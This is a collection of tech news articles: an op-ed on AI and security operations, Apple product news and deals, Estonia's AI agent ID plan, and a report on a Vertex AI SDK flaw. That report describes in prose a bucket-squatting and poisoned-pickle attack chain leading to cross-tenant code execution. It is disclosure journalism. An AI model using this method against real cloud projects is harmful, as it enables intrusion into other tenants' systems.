Every major technology shift changes cybersecurity. I’ve spent much of my career working through major technology transitions, from the rise of the commercial internet to mobile and cloud computing. Each shift created new opportunities for innovation, but it also created new security problems organizations weren’t fully prepared for.
AI may resemble previous technology shifts in some ways, but it differs in one important respect: it challenges one of the foundational assumptions modern security programs were built around: predictability.
For most of my career, security teams operated in environments where systems behaved deterministically. Applications generally executed the same way every time. Infrastructure changed slowly enough for humans to map dependencies, understand trust boundaries and implement controls around them. Even cloud transformation allowed us to apply familiar security models to new infrastructure.
AI changes those assumptions.
Agentic systems make decisions dynamically. Large language models generate different outputs based on context. AI systems increasingly interact with external tools, APIs and environments in ways their developers can’t always fully predict ahead of time. When systems stop behaving consistently, the traditional “keep bad things out” approach to cybersecurity starts to break down.
Prevention still matters. But prevention alone is structurally insufficient for environments where risk evolves continuously at runtime.
Security was built for deterministic systems
When I was helping build security programs years ago, much of the focus centered on hardening systems before deployment. Security teams tried to identify vulnerabilities early, reduce exposure and prevent attackers from gaining access in the first place.
Even during the early years of cloud adoption, most organizations still approached security primarily through configuration and policy management. We worried about permissions, exposed storage buckets and identity sprawl while cloud security tools focused heavily on identifying misconfigurations and locking down infrastructure.
Those controls remain critically important today. But the cloud era also taught us that security failures rarely happen in static diagrams. They happen in live environments, where permissions change, APIs evolve and identities gain unexpected access paths while systems interact in ways architects never fully anticipated.
By the time organizations map one state of the environment, it’s already changed. Risk increasingly emerges at runtime, when identities inherit unintended access, APIs change behavior or AI agents interact with systems in ways no architecture diagram captured.
In conversations I’ve had with companies, I’ve seen them go from generating hundreds of thousands of lines of code per month to millions. AI-assisted development tools are fundamentally changing software engineering workflows. A Harvard Business School study found that after developers gained access to GitHub Copilot, coding activity increased by 12.4% while time spent on project management tasks dropped by nearly 25% – a shift that can leave less time for the reviews and coordination governance depends on.
From a business perspective, acceleration creates leverage, but it also compresses the time security teams have to understand what’s entering production. Attackers are beginning to use AI to reduce the manual effort historically required for reconnaissance, exploit chaining and vulnerability validation at scale.
Security by obscurity isn’t a winning strategy. For years, organizations often accepted certain vulnerabilities because exploitation required too much time, expertise or effort from attackers.
Vulnerabilities once considered difficult to chain together are becoming easier to operationalize at scale as attackers use AI to automate portions of the process. Security leaders need to recognize that some of the prioritization models organizations built over the last decade may no longer reflect today’s reality.
Why prevention alone no longer works
As AI systems become more autonomous, runtime visibility becomes critical.
Many organizations historically treated runtime monitoring as a secondary layer behind prevention, viewing it mainly as a safety net for edge cases.
That model breaks down when systems can evolve and interact faster than security teams can realistically validate in real time.
If an AI agent can interact with multiple systems, generate new actions independently or adapt its behavior based on changing context, organizations can’t rely exclusively on pre-deployment controls. Security teams need visibility into what these systems are doing while they operate.
That includes:
What data AI systems can access How identities interact with sensitive environments What actions agents are taking Whether systems are deviating from expected behavior How quickly organizations can contain unintended consequences In many ways, modern security is shifting from trying to prevent every compromise to limiting how quickly unintended behavior can spread once systems begin acting autonomously.
Security leaders should be careful not to overreact to this shift with fear-driven narratives. AI will absolutely create new security challenges, but it also creates opportunities for defenders.
Security teams can’t scale using human labor alone anymore. The sheer volume of infrastructure changes, software generation and vulnerability management exceeds what most organizations can handle manually.
We’re already seeing organizations experiment with AI-assisted triage, automated investigation workflows and defensive agents that can help security teams move faster and manage growing operational complexity. Security products are beginning to evolve into operational extensions of security teams rather than passive alerting systems.
That evolution makes sense. Attackers are using automation and AI to increase speed and scale. Defenders will need to do the same to maintain parity.
5 priorities for security leaders in the AI era
The organizations that adapt best to AI-driven risk won’t necessarily be the ones with the largest security teams or the biggest budgets. More often, they’ll be the ones that adjust fastest as software, infrastructure and attacker behavior evolve more quickly than traditional security operations were built to handle.
That shift requires you to think differently about how you manage risk, operations and resilience.
1. Rebuild vulnerability management for AI-scale software development
Many vulnerability management programs were already overwhelmed before AI accelerated software generation and lowered portions of the attacker cost curve. That challenge is becoming exponentially harder.
Stop assuming old exploitability models will hold up in an environment where attackers can use AI to accelerate reconnaissance, vulnerability chaining and exploit development.
You need to reassess how vulnerabilities are prioritized, validated and remediated because some of the assumptions organizations made over the last decade about attacker limitations may no longer reflect reality.
Some organizations are already investing in model harnesses to deploy new AI models more effectively and securely.
2. Treat runtime visibility as a primary control
Runtime monitoring can no longer be treated as a secondary capability behind prevention. Every team needs to invest in new forms of tooling to gain this visibility.
That said, runtime monitoring is not something security organizations can vibe code into existence. We need to expect our security vendors to build continuous visibility into workloads, identities, APIs and AI system behavior in production environments.
Prioritize clearer context around which vulnerabilities are reachable, exposed or being actively leveraged. This becomes increasingly important as AI systems interact with infrastructure and data in less predictable ways.
3. Use AI to augment defensive operations
Most organizations can’t hire enough people to keep pace with the operational demands AI introduces.
Use automation and AI to reduce investigation time, automate repetitive workflows and improve response speed. Human judgment still matters, but security teams are operating in environments where the volume of alerts, infrastructure changes and software generation exceeds what people can manage manually.
AI can help teams focus on higher-order decisions instead of operational noise.
4. Focus on resilience and containment
Perfect prevention has never existed, but it becomes even less realistic in highly dynamic AI environments.
Think more carefully about blast radius reduction, rapid containment and operational resilience. Your ability to detect unintended behavior quickly and limit downstream impact will matter far more as organizations deploy more autonomous systems.
I think many security leaders are still too focused on whether AI systems can fail instead of preparing for how to operate safely when they inevitably do.
5. Position security as an enabler of transformation
One of the biggest mistakes security organizations can make right now is to approach AI primarily as something to stop.
Boards and CEOs are pushing aggressively toward AI adoption because they view it as strategically necessary. If you position security purely as a blocking function, you risk losing influence during one of the most important technology transitions in decades.
Executive teams understand AI transformation can’t succeed without strong security leadership guiding risk decisions in real time.
That creates an opportunity to help your business move faster safely while building security programs better equipped for dynamic environments.
AI is forcing a new security operating model
The core challenge AI creates for security teams isn’t simply scale. It’s the erosion of predictability. The pace of change will accelerate as AI systems become more deeply integrated into business operations.
To operate effectively in this environment, focus on building security programs that can adapt quickly, contain risk in real time and support innovation without losing visibility or control. Drive this evolution through both hiring and vendor investments, with a stronger focus on AI fluency and operational expertise.
Only with prioritized investment in staff and tooling can you achieve stronger runtime awareness, faster response capabilities and operating models that keep pace with continuously changing infrastructure and software environments.
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Tim Cook Says Apple Price Increases Are 'Unavoidable' Due to Memory Costs

Apple is raising its prices to offset the high cost of memory and storage, CEO Tim Cook told The Wall Street Journal. Apple is no longer able to absorb the increased prices and will need to pass some of the cost on to consumers.


"Unfortunately, price increases are unavoidable," said Cook. "We're doing our best to mitigate the huge increases that are being passed to us, and we've been trying to shield our customers from the increases, but the situation has become unsustainable."

Cook did not say which products will get price increases or how much pricing will go up. The iPhone 18 Pro and ‌iPhone 18 Pro‌ Max coming in September could be more expensive than the iPhone 17 Pro and ‌iPhone 17 Pro‌ Max. Prices on iPads and Macs could go up in the near future.

Apple already raised the price of the Mac mini from $599 to $799 by eliminating its lowest-tier model. Apple has also eliminated several higher-tier ‌Mac mini‌ and Mac Studio options.

Growing demand for memory and storage chips from AI companies has led to chip shortages and higher costs. The ‌Wall Street Journal‌ suggests Apple will need to increase device costs "substantially" to maintain its current profit margins given the cost of memory chips and SSDs. Research firm TechInsights claims Apple will need to make the ‌iPhone 18 Pro‌ around $270 more expensive to keep its existing profit margin.

Apple is struggling more with memory chips, but storage chips are also an issue. "There's less supply at a time when consumers want devices and the memory guys are passing along huge price increases," Cook told The ‌Wall Street Journal‌. Cook said Apple will use its cash to increase memory supply, but he did not give details on what that means.

Apple does not plan to create its own memory and storage factories. "We can't do everything," Cook said. "We know what we're good at."

While memory chip makers like Samsung, SK Hynix, and Micron are increasing production capacity, much of that added capacity will prioritize server chips. Demand for consumer-device chips is expected to continue to outpace supply. At the same time, Apple needs to increase the DRAM in its devices to support new AI features. Cook likened the memory shortages to a hundred-year flood. "I've never seen anything like it in any area in over 40 years," he said.

Apple is one of the largest purchasers of memory and storage worldwide, but it is likely reluctant to make the same deals AI companies do. Those deals involve signing multi-year agreements with a large cash prepayment.

Multiple companies have already raised their prices, including Samsung, Microsoft, Sony, and Dell.
Tag: Tim Cook
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iPadOS 27 Hands-On: Everything New for iPad

Like iOS 27, iPadOS 27 gains a smarter, more capable version of Siri, the ‌Siri‌ app, and new Apple Intelligence features in apps, but there are a few iPad-only standouts.

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‌Siri‌ AI on iPad has all of the same features as ‌Siri‌ AI on the iPhone, so it can access your personal data, search the web for answers, complete tasks in apps, and answer questions about what's on your screen. For people who write with Apple Pencil on ‌iPad‌, it can index your handwritten notes so you can search through them. You can use ‌Siri‌ to take action on your notes, whether typed or handwritten.

‌Siri‌ can summarize, rewrite, give you writing advice, check grammar, generate new text for you, and more. There's a systemwide Write with ‌Siri‌ feature for getting help no matter which app you're using.

There's a new Image Playground app that can generate images in any style, including photorealistic, and that powers the Image Wand in the Notes app. You can draw a quick sketch of something in Notes and then use ‌Image Wand‌ to turn it into a photorealistic visual aid.

Visual Intelligence used to be an iPhone-only feature, but in ‌iPadOS 27‌, it's expanding to the ‌iPad‌. You can take a screenshot and then circle what you want to know more about with a finger or the ‌Apple Pencil‌. The ‌iPad‌ supports the same ‌Visual Intelligence‌ features, like telling you the nutritional value of food and identifying plants and animals.

The Shortcuts app can use AI to automatically generate shortcuts for you, which can be especially useful on the ‌iPad‌. If you want a quick way to change how the ‌iPad‌'s windowing works when you attach a keyboard vs. when you use it without a keyboard, you can describe that in a sentence or two and get a functional shortcut just a minute later.

Safari supports automatically grouping tabs, plus there's an AI feature for generating your own extensions. Like ‌iOS 27‌, ‌iPadOS 27‌ is also more responsive thanks to performance improvements. Browsing and transferring files are quicker, AirDrop is faster, apps launch more quickly, and multitasking on ‌iPad‌ is faster.

There's a Liquid Glass slider for adjusting opacity to your taste, and Apple also made other Liquid Glass improvements to boost readability. You can also resize iPhone apps that are running on the ‌iPad‌.

‌Siri‌ AI and ‌Apple Intelligence‌ in ‌iPadOS 27‌ require an ‌iPad‌ with an M-series chip or the A17 Pro iPad mini. EU users won't get ‌Siri‌ AI on ‌iPad‌ when ‌iPadOS 27‌ launches, and it's also not available in China.

Older iPads won't get ‌Siri‌ AI or ‌Apple Intelligence‌ features, but they will get the performance improvements Apple added. Older iPads will feel faster on ‌iPadOS 27‌ than they do in iPadOS 26.Related Roundups: iOS 27, iPadOS 27
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iPhone Air With Dual Lens Camera Coming in Spring 2027

Apple is working on a new iPhone Air that's expected to launch in spring 2027, reports Bloomberg. The updated ‌iPhone Air‌ could get an Ultra Wide lens in addition to the Wide lens to make it a better value for the money.


An ‌iPhone Air‌ with two camera lenses has reached the advanced testing phase. The device has the same design as the current model with the exception of the extra lens.

Apple also wants to improve battery life, either through an increased battery size or improvements to efficiency. Given that the design of the new model is similar to the current design, there may not be room for a larger battery. The device will use an A20 chip built on Apple's new 2nm process, so it could feature better efficiency.

Multiple prior rumors have suggested Apple is adding a second camera to the ‌iPhone Air‌ to address the main customer complaint about the device. The current model has a single rear lens with a Wide lens, which makes it inferior to the more affordable iPhone 17 in terms of camera quality. The ‌iPhone 17‌ has a two-camera setup, while the iPhone 17 Pro and Pro Max have three cameras.

The next ‌iPhone Air‌ will come out alongside the iPhone 18 in 2027, with the iPhone 18 Pro, ‌iPhone 18 Pro‌ Max, and foldable iPhone set to debut in September.Related Roundup: iPhone AirBuyer's Guide: iPhone Air (Neutral)
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Matter 1.6 Announced With NFC Setup, Cross-Ecosystem Device Sharing, and Smarter Thermostats

The Connectivity Standards Alliance that includes Apple today announced the latest version of Matter, Matter 1.6. The update focuses on improved device setup, better coordinated device management, and response to control inputs.


Matter 1.6 includes NFC-Based Commissioning for setting up light bulbs in ceiling fixtures, in-wall switches, and other products that need to be configured prior to installation. It allows for setup before the device is fully powered, and it serves as an alternative to Bluetooth LE setup. Users will just need to hold a smartphone near a device to commission it.

For multi-ecosystem device sharing, Matter 1.6 supports "Joint Fabric" as a new approach that expands the Enhanced Multi-Admin toolkit. Joint Fabric lets multiple user-authorized controllers co-administer a single shared Matter network. Any device added to the Joint Fabric is accessible to all participating controllers, which makes it simpler for Android and iOS users in a household to access and control Matter-enabled devices. Matter smart home products can be controlled from any interface or ecosystem without requiring a separate setup of every device for each platform.

Thermostat Suggestions improve how thermostats account for user inputs and preferences. Controllers won't send direct commands to change temperature or mode, but will instead submit a time-bound suggestion tied to the thermostat's supported presets so the thermostat can react based on preferences and environmental conditions. The CSA says the new feature will be helpful in the following situations:

A user enrolled in a utility demand-response program can configure the thermostat to protect those commitments, preventing an automation from a different ecosystem from accidentally overriding a savings event.
A user who has chosen to optimize for energy savings, or for humidity control, air quality, or another preference, can have the setting recognized and respected across connected services without needing to configure it in each one.
A thermostat that was just manually adjusted, on the device or through one ecosystem, can recognize a suggestion arriving moments later from another source and will identify it is likely not what the user intended, and defer.

The update standardizes how devices communicate their capabilities and operational limits, and CO and smoke alarms are now able to indicate when they have been removed from their installed position. Security sensors are also able to interoperably indicate a sensor event history, so ecosystems have access to real-time status and past activity.

Matter 1.6 is available for device makers and platforms to integrate into their products. Apple so far has not been quick to implement new Matter specifications. Matter 1.4 was announced back in November 2024, but Apple Home doesn't support all of the Matter 1.4 features.

In tvOS 27, Apple implemented support for Thread 1.4, improving Matter-over-Thread connectivity. Thread credential sharing allows smart home devices to join existing Thread networks for a true mesh network instead of separate, parallel networks across Thread Border Routers from different manufacturers.Tags: Matter, Thread
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You Can Easily Install the iOS 27 Beta For Free Right Now, Here's How

If you have not been paying close attention, you might still think that you need to be enrolled in the Apple Developer Program for $99 per year to install iOS developer betas, but that has not been the case for a few years now. In fact, anyone can install the iOS 27 developer beta on their iPhone for free, and the process is quite easy.


Even if you are not an app developer and have no current plans to release apps on the App Store, you can still install the iOS 27 developer beta on your iPhone. If you feel more comfortable with waiting for the iOS 27 public beta, though, Apple said that the first public beta of iOS 27 will be available at some point in July.


Warning: While the first iOS 27 developer beta is considered to be relatively stable, iOS betas can and do have bugs and performance issues. You may not be able to use some apps that you rely on, and issues can extend to CarPlay. Backing up your iPhone before installing beta software is highly recommended, and relying on a secondary iPhone altogether is always a good idea if possible.

How to Install the iOS 27 Developer Beta

Sign into your Apple Account from this page and accept the Apple Developer Agreement to become a registered Apple developer for free.
Open the Settings app and tap on General → Software Update → Beta Updates.
Select the iOS 27 Developer Beta option (restart your iPhone if you don't see it) and follow the on-screen steps.How to Install the iOS 27 Public Beta (in July)

Sign up at beta.apple.com for free.
Open the Settings app and tap on General → Software Update → Beta Updates.
Select the iOS 27 Public Beta option (restart your iPhone if you don't see it) and follow the on-screen steps.iOS 27 is compatible with the iPhone 11 and newer, but Apple Intelligence features like Siri AI are limited to the iPhone 15 Pro and newer.

Keep in mind that the revamped version of Siri has a waitlist. To join the waitlist, open the Settings app on iOS 27 and tap on Siri and you will find it there. It can take anywhere from hours to many days to receive access to Siri AI and the Siri app.Related Roundups: iOS 27, iPadOS 27
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Apple's WebKit Rules Reportedly Cost iOS Users Almost 30% Browser Performance

Microsoft engineers have published benchmark results showing that a Chromium-based browser using its own rendering engine scores 28.6% higher than Safari on Apple's own Speedometer 3.1 performance test on iOS.


Kyle Pflug, group product manager for the Microsoft Edge Web Platform, published results on Monday comparing a research prototype of Edge built with Apple's BrowserEngineKit framework against Safari running iOS 26.5.1. The Blink-based prototype scored 49.27 versus Safari's 38.3 on Speedometer 3.1, and also outperformed Safari on the JetStream 3 JavaScript benchmark by 13.1% (306.35 vs. 270.9) and on the MotionMark 1.3.1 graphics rendering benchmark by 2.1% (4,773.52 vs. 4,673.68). Pflug described the work as a research prototype rather than a finished product, and the numbers as preliminary results from his own device rather than lab conditions.

Apple requires all browsers on iOS to use WebKit, the engine that powers Safari, meaning browsers like Chrome and Firefox on iPhone are effectively reskinned Safari instances. The EU's Digital Markets Act theoretically changed that in March 2024, requiring Apple to allow alternative browser engines through BrowserEngineKit, yet more than two years later no browser maker has shipped an alternative engine on iOS. Companies cite technical barriers and the requirement to publish any such browser as an entirely separate app from their existing WebKit-based version.

Open Web Advocacy told The Register the results illustrate a 17-year cost to consumers. The group called on the European Commission to open a specification proceeding instructing Apple precisely how it must remove barriers to alternative engines, adding that restricting browser engines allows Apple to limit what the mobile web is capable of and keep businesses dependent on native apps and App Store rules.Tag: WebKit
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Powerbeats Pro 2 Available for $199.95 Low Price, Plus More Early Prime Day Deals on Beats

Amazon this week is discounting a collection of Beats headphones and speakers ahead of Prime Day, including a low price on the Powerbeats Pro 2. You can get this new 2025 model for $199.95 in all four colors, down from $249.99. This deal on the Powerbeats Pro 2 is being matched at Best Buy, along with a few other Beats deals.

Note: MacRumors is an affiliate partner with some of these vendors. When you click a link and make a purchase, we may receive a small payment, which helps us keep the site running.

This sale also includes discounts on products like the Beats Pill, which has hit $99.95 on Amazon, down from $149.95. This is an all-time low price on the speaker.

UP TO 50% OFFBeats Deals on Amazon

Additionally, Amazon has the Beats Studio Buds+ for $99.95, down from $169.95. These have up to 9 hours of playback (up to 36 hours with charging case), USB-C, active noise cancellation, transparency mode, and an IPX4 rating for sweat and water resistance.

You'll also find a few steep discounts on over-ear headphones, like the Beats Studio Pro at $169.95, down from $349.99, and some markdowns on Beats iPhone 17 cases.

Beats Studio Buds+ - $99.95, down from $169.95
Beats Pill - $99.95, down from $149.95
Beats Solo 4 - $129.95, down from $199.95
Beats Studio Pro - $169.95, down from $349.99
Powerbeats Pro 2 - $199.95, down from $249.99
Beats USB-A to USB-C Woven Cable - $5.00, down from $18.99
Beats iPhone 17 Case - $18.99, down from $45.00
Beats iPhone 17 Pro Rugged Case - $30.50, down from $79.00
Beats iPhone 17 Pro Max Case - $28.50, down from $45.00

If you're on the hunt for more discounts, be sure to visit our Apple Deals roundup where we recap the best Apple-related bargains of the past week.



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Estonia plans government IDs giving AI agents rights and responsibilities

There’s no shortage of agentic AI tools out there that offer to perform online tasks on your behalf, if only you’ll give them all your passwords and credit card details. The trouble starts when those agents don’t know when to stop — or when others don’t know to stop them.
In Estonia, the country’s AI Council has plans to change that, proposing to issue government-backed digital identities for AI agents that spell out what powers a person or company is willing to delegate to them.
“In the future, AI will increasingly perform digital operations on behalf of a person, company, or institution,” said Estonian Prime Minister Kristen Michal in a news release. “To do this, it must be clear who is acting, on whose behalf, with what rights, and who is responsible.”
He supported the AI Council’s proposal to create a digital identity for AI agents that will define agents’ rights and enable them to act in a verifiable and auditable manner.
The ID could, the council suggests, show whether an agent is only allowed to view data, create or edit documents, or make payments, and if so, up to what limit.
First mover advantage
There’s no telling when the plan will come to fruition — although Michal is keen for his country to take the lead.
“If we act quickly and wisely, Estonia will become the first country in the world to create an official digital identity for AI agents,” he said.
Estonia is already a leader in the use of digital identities for humans. Estonians can use their national digital ID cards for voting, signing documents, accessing medical and tax records. The country also offers foreigners the option of applying for “e-residency,” a digital identity enabling them to create a company in Estonia and digitally sign all related documents online as they interact with the country’s widely digitized administrative processes.
Michal created the AI Council in January, calling on Estonian startups, investment funds, industry and research institutions to systematically implement AI across the country’s industry, education, healthcare, and energy sectors.
AI vendors have already proposed creating digital identities for agents, but so far these are intended only to manage the activities of agents within the enterprise, or for interconnecting enterprise IT platforms, and none of them have the backing of governments.
Estonia’s proposal could put the tiny Baltic country at the cutting edge of agentic AI usage and set an example for others.
This article first appeared on Computerworld.
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Apple's New Hide My Email Domain Makes It Easier to Block iCloud Aliases

Apple's decision to move Hide My Email to a dedicated "private.icloud.com" domain appears to have the consequence of making it easier for platforms that want to block iCloud aliases to do so.


Apple is unifying the email domains used by Sign in with Apple and ‌iCloud‌+ Hide My Email under a single private.icloud.com domain later this summer. Sign in with Apple currently uses privaterelay.appleid.com, while Hide My Email uses icloud.com, the same domain as standard ‌iCloud‌ email addresses.

That shared domain has historically made it difficult for services to selectively block disposable ‌iCloud‌ addresses. Blocking icloud.com outright would also block legitimate users with standard Apple email accounts. With the new subdomain, that tradeoff disappears.

@vxdb on X was among the first to flag the implication: "platforms who want to ban ‌iCloud‌ aliases can now do so by banning this new subdomain without affecting all ‌iCloud‌ users." Others online noted that email services, signup flows, and anti-abuse systems will now have a clean, unambiguous target if they choose to restrict alias-generated addresses.

Apple has said that existing addresses on legacy domains will continue to work and that mail will be forwarded with no interruption, so current Hide My Email users won't lose access to their aliases. New addresses generated after the migration, however, will feature the private.icloud.com domain, and it is those addresses that become blockable in isolation for the first time.Tag: iCloudRelated Forum: Apple Music, Apple Pay/Card, iCloud, Fitness+
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iOS 27 Adds Four New Features to Notes App, Including Markdown Copy-and-Paste

The upcoming iOS 27 update that Apple unveiled last week includes some new features and enhancements for Apple's Notes app on the iPhone.


iOS 27 is currently available as a developer beta, with a public beta to follow in July. The update is expected to be released to all users in September.

Below, we have outlined four additions to Apple's Notes app on iOS 27.

Siri AI


On the iPhone 15 Pro and newer, the more intelligent and personal version of Siri known as "Siri AI" can create notes with generated content. For example, you can ask Siri AI to create a note with a list of all iPhone models that are compatible with iOS 27, and it will do so after retrieving this information from the internet.

On iOS 26 and earlier, Siri can only create notes based on the words you actually say.

In addition, Siri AI will intelligently show an "Add to Notes" shortcut below certain messages in the Messages app based on the context of the conversation.


Copy and Paste in Markdown


iOS 27 introduces the ability to copy and paste text that is formatted in the Markdown language, created by well-known Apple commentator John Gruber.

Markdown lets you add formatting to text without using HTML:
Bold text: **bold**
Italic text: *italic*
Linked text: [Apple](https://apple.com)
List item: - ExampleFor example, if you paste "Apple's next CEO is **John Ternus**" into the Notes app on iOS 27, "John Ternus" will appear in bold text.

In reverse, if you select formatted text in the Notes app and tap on the right arrow in the Cut/Copy/Paste menu that pops open, there is a new "Copy as Markdown" option on iOS 27. If you tap on this option, any rich text formatting in your selection will automatically be converted to Markdown that can be pasted elsewhere.

Apple Notes already gained support for importing and exporting Markdown files on iOS 26.

Divider Lines


iOS 27 lets you organize notes with divider lines. Simply place the text cursor where you want the line to be inserted, tap on the right arrow in the Cut/Copy/Paste menu that pops open, and tap on the new "Insert Divider Line" option.

Section Links


You can now add a link to a specific section of a note. When you tap on the link, the Notes app automatically jumps to that section of text.

For example, you could create a new note that links back to a section of a previous note.Related Roundups: iOS 27, iPadOS 27Tag: Apple Notes
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AirPods Pro 3 Drops to Record Low $169 on Amazon Ahead of Prime Day

Amazon today has the AirPods Pro 3 available for $169.00 in an early Prime Day sale, down from $249.00. This is a new all-time low price on the AirPods Pro 3, beating the previous low by $10.

Note: MacRumors is an affiliate partner with some of these vendors. When you click a link and make a purchase, we may receive a small payment, which helps us keep the site running.

This model of the AirPods Pro launched in September 2025 and has 2x better Active Noise Cancellation than the previous generation, better audio quality, a revised fit that's meant to improve comfort and stability, Live Translation for in-person conversations, and heart rate sensing for workouts.

$80 OFFAirPods Pro 3 for $169.00

Shoppers should note that this price has been heavily fluctuating on Amazon today, so if you don't see it when you click, there is a chance that it will return soon.

Head to our full Deals Roundup to get caught up with all of the latest deals and discounts that we've been tracking over the past week.



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macOS 27 Golden Gate Kills Time Capsule Support

macOS 27 Golden Gate removes AFP support, ending Time Machine compatibility with Time Capsule after nearly two decades, but a community project from a Microsoft engineer offers a potential workaround for owners not yet ready to move on.


Apple's Time Capsule was introduced at Macworld Expo in January 2008, combining a Wi-Fi router with NAS-style network storage designed to work in tandem with the Time Machine backup software. Apple officially ended development on the entire AirPort line in April 2018, with the AirPort Express at $99, the AirPort Extreme at $199, and the AirPort Time Capsule at $299, available only while supplies lasted. The lineup sold out entirely by November 2018. Prior to that, Apple had not updated its AirPort products since 2013.

AFP dates back to 1988, when Apple designed a native file-sharing protocol for the Macintosh as part of the AppleTalk networking suite. SMB became the primary file-sharing protocol in OS X 10.9 Mavericks in 2013, and the ability to run an AFP server was removed in macOS 11 Big Sur in 2020.

Apple formally deprecated the AFP client in macOS Sequoia 15.5, and, when macOS 26 Tahoe launched, a warning in System Settings confirmed that AFP support and Time Capsule compatibility would end with macOS 27. As expected, the first developer beta of macOS 27 Golden Gate contains no AFP client at all, ending a protocol with more than 40 years of history in the Apple ecosystem.

All Time Capsule models rely on AFP and SMBv1, the original Server Message Block version from 1987. From macOS 27 onwards, Time Machine requires SMBv2 or SMBv3, which covers modern NAS hardware but rules out every Time Capsule model in its stock form. macOS 27 also enforces stricter network security requirements, including TLS 1.2 as a minimum, which is a bar that Time Capsule hardware cannot meet.

The community response is a GitHub project called TimeCapsuleSMB, created by James Chang, an engineer at Microsoft. Rather than replacing Apple's firmware, it installs a modern Samba build directly onto the Time Capsule. The device runs a Samba 4.24.3 server, advertises itself over Bonjour, and accepts authenticated SMB3 connections, so users can connect via a standard SMB URL in Finder rather than relying on Apple's legacy stack.

Only the fifth-generation Time Capsule tower model from 2013 auto-restarts the Samba server after a reboot. Earlier models require a manual activate command every time the device loses power, meaning backups may silently stop after an outage. It is also worth noting that switching to SMB via TimeCapsuleSMB begins a new Time Machine backup chain, with the new destination treated as a fresh start. There is no published long-term restore testing for the project, so a second backup destination is advisable.

macOS 27 Golden Gate is currently in developer beta, with a public beta due in July and a general release set for September. It is compatible only with Apple silicon Macs, meaning Intel Mac users who stay on macOS 26 can continue using Time Capsule for the foreseeable future. Apple silicon owners who want to upgrade will need a compliant backup target in place first, whether that is a modern NAS, an external drive, or a patched Time Capsule running TimeCapsuleSMB.Related Roundup: macOS Golden GateTag: AirPort Time Capsule
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Apple 'Records Every Tap' in App Store to Filter New Personalized Recommendations Feature

Last week, Apple introduced a new discovery feature for the App Store called Personalized Collections, or app recommendations based on individual interests and behavior. Apple pitched the announcement as another way for developers to have their app discovered, but there has already been some pushback from a privacy perspective.

App Store user analytics collected by Apple (Image: Mysk)
The new tailored recommendations can appear on the Apps, Games, and Search tabs, and evolve over time based on a user's app usage and downloads. How Apple does this is through analytics data, but the extent of the information being captured by the company has set off warning sirens amongst some cybersecurity researchers.

Security researchers Mysk say that Apple logs "every tap" in the App Store that a user inputs in order to put together the recommendations. Quoting from a post shared on X (Twitter):
The post was accompanied by the above screenshot. "This is what the App Store sends to Apple when I searched for 'Tim cook,'" said one of the researchers. Responding to a reply, Mysk noted that the screenshot wasn't showing search results, but extensive analytics. "If you don't like Apple Music privacy options, you can stream music from Spotify, but where else can you download apps on the iPhone?" they added.

Mysk said the analytics in the screenshot were included in the personal data dump that individual users can request from Apple via privacy.apple.com.
Get a Copy of Your Apple Account Data – Here's How
Is capturing everything you do in the App Store app an intrusion of privacy? Opinions will differ. But there's an argument to be made for Personalized Collections to be opt-in, rather than the all-in feature Apple has rolled out. Let us know your opinions in the comments.Tags: App Store, Apple Privacy
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Google’s Vertex AI SDK could allow RCE through bucket squatting

A design flaw in the Vertex AI software development kit (SDK) for Python, Google Cloud’s managed platform for building, training, and deploying AI agents, could allow hijacking and poisoning of models outside of a developer’s own Google Cloud project.
According to Unit 42 researchers, a combination of bad bucket naming logic and missing authentication made it possible for an attacker to hijack the victim’s project by just knowing their project ID and region.
“Since no two buckets across all of Google Cloud can share the same name, an attacker who is able to predict a bucket name can preemptively create it in their own project,” the researchers said in a blog post. “Any subsequent attempt to use a bucket with that name, even from a different project, silently falls back to the attacker’s bucket.“
Researchers said this is a known class of vulnerability that “takes advantage of the global uniqueness” of cloud storage bucket names. They called it “Bucket Squatting”.
Successful exploitation could inject a malicious model that gets loaded by the Vertex AI infrastructure, resulting in code execution across tenants. The flaw was reported to Google, which reportedly fixed the underlying issue.
Google did not immediately respond to CSO’s request for comments.
pickle deserialization for cross-tenant RCE
According to Unit 42, the vulnerable model workflow in Vertex AI SDK for Python versions 1.139.0 and 1.140.0 relied on a staging bucket name derived exclusively from a customer’s project ID and region. When a bucket with that name already existed, the SDK only verified its existence and did not confirm ownership.
This created a bucket-squatting scenario in which an attacker could pre-create a bucket matching a victim’s expected staging bucket and wait for model uploads to be directed there. Once a model artifact was uploaded to the attacker-controlled bucket, the attacker could replace it with a malicious version during a narrow race-condition window before Vertex AI’s service agent retrieved it.
The attack could turn into an RCE as machine learning models in Python are commonly stored using pickle or Joblib serialization formats. Since pickle deserialization can execute arbitrary code through specially crafted objects, a poisoned model could run remote code when loaded by Vertec AI’s serving infrastructure.
This cross-tenant exploitation process was dubbed “Pickle in the Middle” by the researchers as it depended, in parts, on the deserialization of Python’s built-in pickle module.
Google fixed the AI-hunted bug
As part of the research, Unit 42 incorporated a large language model (LLM) into its code analysis workflow to accelerate vulnerability discovery.
“Analysis that once took days can now be executed significantly faster,” the researchers said. “By iteratively narrowing the model’s focus and instructing it to look for specific patterns, we found paths that led to resources provisioned on the cloud, affected by user-controlled or project-derived inputs.”
Google reportedly modified the affected workflow so that staging buckets are now validated before use, preventing attackers from registering bucket names that could be mistaken for resources belonging to other projects.
The fixes were deployed in SDK versions 1.144.0 and 1.148.0, and users must upgrade to either of the patched versions.
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CSOonline

Apple TV Time-Limited Deal: $5.99/Month for Amazon Prime Members

Apple has partnered up with Amazon to make Apple TV available at $5.99 per month for Prime members for a limited time.


Apple TV is available as an add-on subscription through Prime Video in the U.S. This promotional deal lets Prime members sign up to the streaming platform for over 50% off the usual $12.99/month price for up to two months, after which the standard price applies.

The promotion ends on June 26 though, so there are only a few days left to go before it's gone.

Subscribers will have access to Apple TV's full catalog of original content, including hit shows like "Severance," "Ted Lasso," and "The Morning Show," as well as films and live sports events.

Prime members can take advantage of the offer by following this link. Note that subscribers will need to be signed into their Amazon account for the link to work. Prime members can also find the promo deal via the Prime Video app.Related Roundup: Apple TVTag: Apple TV ServiceBuyer's Guide: Apple TV (Don't Buy)Related Forum: Apple TV and Home Theater
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5 AI risk management frameworks for shoring up key gaps

Organizations racing to embed AI into business operations are realizing that the risk management frameworks they’ve relied on for decades aren’t built for the behaviors, failure modes, and ethical complexities AI systems introduce.
Fortunately, a new generation of AI-specific frameworks has emerged to give organizations a structured way to identify where AI can go wrong, what controls to put in place, and how to demonstrate responsible AI use to regulators, customers, and investors. Not all of these emerging frameworks address the same problem. Some focus on governance and organizational accountability, others on technical security controls, threat modeling, or regulatory compliance. Choosing the right one for your organization depends on where your most pressing gaps reside.
